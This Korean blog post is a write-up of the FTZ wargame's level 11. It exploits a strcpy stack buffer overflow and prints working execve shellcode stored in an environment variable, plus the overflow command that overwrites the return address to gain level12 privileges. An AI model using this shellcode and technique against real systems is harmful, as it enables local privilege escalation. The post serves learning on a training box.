티스토리 뷰

포너블/FTZ

FTZ level11풀이

삼전동해커 2020. 8. 14. 14:22

포너블을 시작했다.

진입장벽이 너무 높다...

어려워...

달고나는 한 4번정도 읽어본 것 같다. 읽을 때마다 새롭게 알아간다. 


FTZ로 시작한 이유는 난이도도 있지만 스택에 대해서, 어셈블리어에 대해서 몸으로 배우기 적절하다 생각했기 때문이다.


근데 너무 어렵다...



후...


level11에 접속한 후 목록을 보면



attackme가 있다. 이걸 공격하라는 것 같다.

근데 소유자가 level12이다. 문제푸는데 뭔가 불편할 것 같으니 tmp파일에 넣어주자.



level11의 소유가 되었다.


일단 힌트를 볼까. 



str변수에 256바이트만큼 공간이 할당되었고, setreuid가 있다. 그리고 strcpy함수로 입력받은 문자열을 str에 전달한다.


여기서 문제점이 strcpy함수는 입력받은 문자열의 길이를 체크하지 않고 null문자가 입력되었을 때 까지만 받는 다는 점이다.

이 점을 이용해 bof를 하면된다.


그리고 str 출력. 결국 입력받은 걸 출력하는 프로그램인듯.



이제 문제를 풀어보자.



일단 main+3과 main+9에서 0x108과 0x8만큼 스택을 확장했다.


0x108=256

0x8=8

256은 str의 공간이고 8은 dummy인 것 같다.


이 후 main+48에서 strcpy함수를 호출 한다.  그럼 return address에는 다음 명령인 main+53의 주소가 들어간다.


그럼 return address는 어디에 있을까?


ret의 정확한 위치는 모르지만 상대적으로는 알아낼 수 있다.

스택은 배열의 공간+dummy=264에 sfp(call로 함수를 불러오면서 main함수의 정보를 저장하기 위해 main의 ebp를 설정해 놓은) 4byte를 더해 268의 크기이다. 그 다음이 return address. 즉 ebp-268에 위치해 있다.


다음으로는 입력받는 변수의 주소를 찾아보자.


main+53에 break문을 걸어 strcpy에 입력받을 수 있게 한 다음


(gdb)r `python -c 'print"A"*268'` 

명령으로 A 268개를 넣어줬다.



입력의 시작이 0xbffff8e0이라는 걸 알아냈다.



문제 풀때 스택의 크기가 쉘코드를 넣을 만큼 크다면 바로 넣어도 상관없다.


쉘코드란 명령어를 기계어로 만들어 컴퓨터가 알아들을 수 있게 만든 명령어다.


혹시 스택의 크기가 쉘코드 보다 작다면 환경변수를 이용해야 한다.

환경변수라는 건 쉽게 말하면 밖에 저장해 두었다가 필요할 때 불러오는 라이브러리 비슷한거 같다.


환경변수를 이용해서 한번 풀어보자.


먼저 환경변수에 권한을 상승시켜주는 쉘코드를 넣어주자.


export egg=`python -c 'print"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`


이제 환경변수에서 egg의 주소를 알아야 한다.



간단히 주소값을 출력하는 프로그램을 만든다.



컴파일 후에



실행해주면 주소가 나온다.



그럼 환경변수에 쉘코드를 넣어놓고 268만큼 스택을 채운다음 쉘코드의 주소값을 return address에 넣어주면 되겠다.



./attackme `python -c 'print"A"*268+"\xc0\xfe\xff\xbf"'`


주의해야 할 점은   tmp 디렉토리에서 실행하면 level12의 권한을 얻을 수 없다.

그러니 level11디렉토리에서 실행하자.





포너블은 너무 어렵다...

공부하면서 현타가 너무온다...

'포너블 > FTZ' 카테고리의 다른 글

FTZ level17 풀이  (0) 2020.08.17
FTZ level16풀이  (0) 2020.08.17
FTZ level15풀이  (0) 2020.08.17
FTZ level14 풀이  (0) 2020.08.17
FTZ level 12풀이  (0) 2020.08.14
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함